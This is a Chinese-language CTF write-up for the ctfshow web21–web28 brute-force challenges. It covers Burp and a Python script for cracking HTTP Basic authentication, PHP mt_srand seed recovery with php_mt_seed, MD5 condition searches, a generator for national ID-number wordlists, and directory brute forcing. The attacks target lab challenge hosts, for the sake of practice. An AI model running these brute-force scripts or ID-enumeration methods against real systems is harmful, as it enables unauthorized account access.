web21——tomcat认证爆破——custom iterator
爆破什么的,都是基操
打开环境:
打开附件,是一个zip
,解压一下:
打开 burpsuite 进行配置:
看到一个奇怪的东西:
就是这个:Authorization: Basic YWRtaW46cGFzc3dvcmQ=
在线解码一下:
正是我之前输入的账号密码,可以发现数据是由==账号+:+密码生成的==
开始配置:
再配置第二个位置,第三个位置:
最后再编个码就行了:
==当然这里设置迭代器的时候设置 admin: 和字典也是可以的==
等了一会以后,可以看到有一个返回长度异常,没爆破出来????
会不会是符号使用的:
而不是:
,改一下看看,还是爆破不出来?我为了省时间直接手动添加了一下,给我整无语了。。
然后手动添加只有一个密码:shark63又行了,哈哈哈。
知道问题所在了,线程数设置高了,改一下线程:
出来了:
对一下,没错就是这个!!!
当然,也可以选择自己编写脚本,ctfshow提供了一个脚本:
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-11-20 19:16:49
# @Last Modified by: h1xa
# @Last Modified time: 2020-11-20 20:28:42
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
import time
import requests
import base64
url = 'http://41a801fe-a420-47bc-8593-65c3f26b7efa.chall.ctf.show/index.php' #要爆破的网站
password = []
with open("1.txt", "r") as f: #字典
while True:
data = f.readline()
if data:
password.append(data)
else:
break
for p in password:
strs = 'admin:'+ p[:-1]
header={
'Authorization':'Basic {}'.format(base64.b64encode(strs.encode('utf-8')).decode('utf-8')) #构造迭代器
}
rep =requests.get(url,headers=header)
time.sleep(0.2)
if rep.status_code ==200: #返回值为200
print(rep.text)
break
web22——爆破子域名
域名也可以爆破的,试试爆破这个ctf.show的子域名
域名更新后,flag.ctf.show域名失效
内容是flag{ctf_show_web}
看到题目有提示了,域名失效了,随便扫一下没有就直接使用 flag 了!
web23——md5值爆破
还爆破?这么多代码,告辞!
打开环境:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 11:43:51
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 11:56:11
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include('flag.php');
if(isset($_GET['token'])){
$token = md5($_GET['token']);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo $flag;
}
}
}else{
highlight_file(__FILE__);
}
?>
编写一个脚本找到符合要求的数:
<?php
$token='123';
while(true){
$t=$token;
$token=md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token, 14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token, 14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token, 31,1))){
echo "over!"."<br>";
echo $t;
break;
}
}
}
highlight_file(__FILE__);
?>
运行以后get提交token参数
即可。
web24——mt_srand生成伪随机数
爆个🔨
打开环境发现:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:26:39
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 13:53:31
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(372619038);
if(intval($r)===intval(mt_rand())){
echo $flag;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
?> Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022
和伪随机数有关系:
mt_srand()
//播种==Mersenne Twister 随机数生成器==。
mt_rand()
//生成随机数简单来说
mt_srand()
通过分发seed种子,然后种子有了后,靠mt_rand()
生成随机数。更多查看:php伪随机数
查看响应头确定 php 版本:
get传参
Hint内容:
#参考PHP随机数的伪随机数 mt_srand(seed); 函数播种 Mersenne Twister 随机数生成器。seed,可选。规定播种值
<?php
//Firebasky
error_reporting(0);
$a="1234567890zxcvbnmlkjhgfdsaqwertyuiop";//字典
for($i=0;$i<36;$i++){
for($j=0;$j<36;$j++){
$token=$a[$i].$a[$j];
// echo md5($token)."\n";
$token = md5($token);
if(substr($token, 1,1)===substr($token, 14,1) && substr($token,
14,1) ===substr($token, 17,1)){
if((intval(substr($token, 1,1))+intval(substr($token,
14,1))+substr($token, 17,1))/substr($token, 1,1)===intval(substr($token,
31,1))){
echo "success"."\n";
echo $a[$i].$a[$j];
exit(0);
}
}
}
} ?
>
#coding: utf-8
#啊韬
import hashlib
dic = '0123456789qazwsxedcrfvtgbyhnujmikolp'
md5 = hashlib.md5(dic).hexdigest()
for a in dic:
for b in dic:
t = str(a)+str(b)
md5 = hashlib.md5(t).hexdigest()
#print md5
#print md5[1:2]
#print md5[14:15]
#print md5[17:18]
if md5[1:2] == md5[14:15] and md5[14:15]== md5[17:18]:
print t
print md5
print md5[1:2]
print md5[14:15]
print md5[17:18]
#mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 提示:从 PHP 4.2.0 开始,随机数生成器自动播种,因此没有必要使用该函数 因此不需要播种,并且如果设置了 seed参数 生成的随机数就是伪随机数,意思就是每次生成的随机数 是一样的
不得不说做题还是手编脚本比较帅。。。。
web25——伪随机数生成爆破
爆个🔨,不爆了
打开环境:
<?php
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-09-03 13:56:57
# @Last Modified by: h1xa
# @Last Modified time: 2020-09-03 15:47:33
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
*/
error_reporting(0);
include("flag.php");
if(isset($_GET['r'])){
$r = $_GET['r'];
mt_srand(hexdec(substr(md5($flag), 0,8)));
$rand = intval($r)-intval(mt_rand());
if((!$rand)){
if($_COOKIE['token']==(mt_rand()+mt_rand())){
echo $flag;
}
}else{
echo $rand;
}
}else{
highlight_file(__FILE__);
echo system('cat /proc/version');
}
Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022 Linux version 5.4.0-110-generic (buildd@ubuntu) (gcc version 9.4.0 (Ubuntu 9.4.0-1ubuntu1~20.04.1)) #124-Ubuntu SMP Thu Apr 14 19:46:19 UTC 2022
代码审计以后传入一个参数/?r=0
输出$rand
的值:
$rand
等于mt_rand()的值
,使用工具:php_mt_seed:
git clone https://github.com/openwall/php_mt_seed.git
cd php_mt_seed/
make
./php_mt_seed 1047588218
当然这里也可以不使用工具,像Cr4zysong11师傅一样编写脚本也能有效解决:
最后:
查看请求头发现 php 版本为7.x
,选一个种子:3090963496
<?php
mt_srand(1858379755);
echo mt_rand()."\n";
$result = mt_rand()+mt_rand();
echo $result;
输出结果上面是参数,下面是token值,然后。。。。我裂开,做一半容器过期了,kao
重新加载容器,然后编辑cookie和get参数得到flag
,这里可以使用burp
或者EditThisCookie
插件都可以。
插件我没试成功,不知道为啥,理论上应该是可以的。
hint内容:
https://www.openwall.com/php_mt_seed/
https://www.cnblogs.com/zaqzzz/p/9997855.html
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机 数。 在之前自己还以为需要暴力破解cookie,最后师傅们给我介绍了一个脚本,专门用来跑mt_srand()种子和 mt_rand()随机数的 这里自己解释一下为什么每一次的mt_rand()+mt_rand()不是第一次的随机数相加?? 因为生成的随机数可以说是一个线性变换(实际上非常复杂)的每一次的确定的但是每一次是不一样的,所以不能 进行第一次*2就得到mt_rand()+mt_rand() 使用说只要我们得到种子就可以在本地进行获得自己想要的值 解题:通过随机数来寻找种子 我们让 ?r=0 得到随机数。这里我得到的是 183607393 每一次不一样(因为flag值在变化) 然后下载 php_mt_seed4.0 我们在linux下面使用 gcc进行编译 gcc php_mt_seed.c -o php_mt_seed 之后运行脚本添加随机数 ./php_mt_seed 183607393
找到对应的版本这里自己的运气好第一个出来的自己验证了一下发现就是这个 注:可能存在多个种子需要自己进行判断 通过种子找到第一个随机数就是上面的随机数。
web26——字典爆破密码
这个可以爆
打开环境:
点击继续:
按照题目说的直接爆破:
直接使用之前web21
给的那个万能字典,呦呵,没扫出来。。。发现是线程设高了,调一下就出来了:
web27——利用已知信息进行爆破
使用Chrome浏览器抓包,进行暴力破解密码
打开环境:
录取名单是可以下载的,直接下载下来看看:
出生年月被隐藏掉了,还有个学籍信息查询系统,打开看一下:
爆破一下,靠,怎么又忘了设线程了吃一堑,长一智,我们提前设置好线程数:
将返回信息ASCII解码
一下:
登陆一下,这里值得一说的是,不是在录取查询界面登录,我就是傻逼,正常是这样是吧:
我居然把学号当作身份证中间的那部分了,然后和傻逼一样登录了好几次。。。。直接登录得到flag:
#Hint:
<?php
//621022********5237
$myfile = fopen("zid.txt", "w") or die("Unable to open file!");
for($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.'0'.$mon.'0'.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=1;$mon<10;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year."0".$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=10;$day<=31;$day++)
{
$txt=('621022'.$year.$mon.$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
or($year=1990;$year<1993;$year++){
for($mon=10;$mon<=12;$mon++){
for($day=01;$day<10;$day++)
{
$txt=('621022'.$year.$mon."0".$day.'5237')."\n";
fwrite($myfile, $txt);
}
}
} f
close($myfile);
web28——域名目录爆破
大海捞针
打开环境:
查看源代码发现没东西,F12 看头文件和流量也都正常,再观察一下本题,发现 url 有点意思,联想到是爆破主题的,所以爆破一下试试,这次真的提前设置线程了!!!!!
GET /§0§/§1§/2.txt HTTP/1.1
然后就扫到了????啥情况,思路应该没问题啊,看了别的师傅的wp是一样的思路呀,看一下hint:
通过暴力破解目录/0-100/0-100/看返回数据包
爆破的时候去掉2.txt 仅仅爆破目录即可
。。。。。行吧,再试一下??????环境过期了?我要裂开啦!
重启环境,进行正确配置就可以扫到了!!!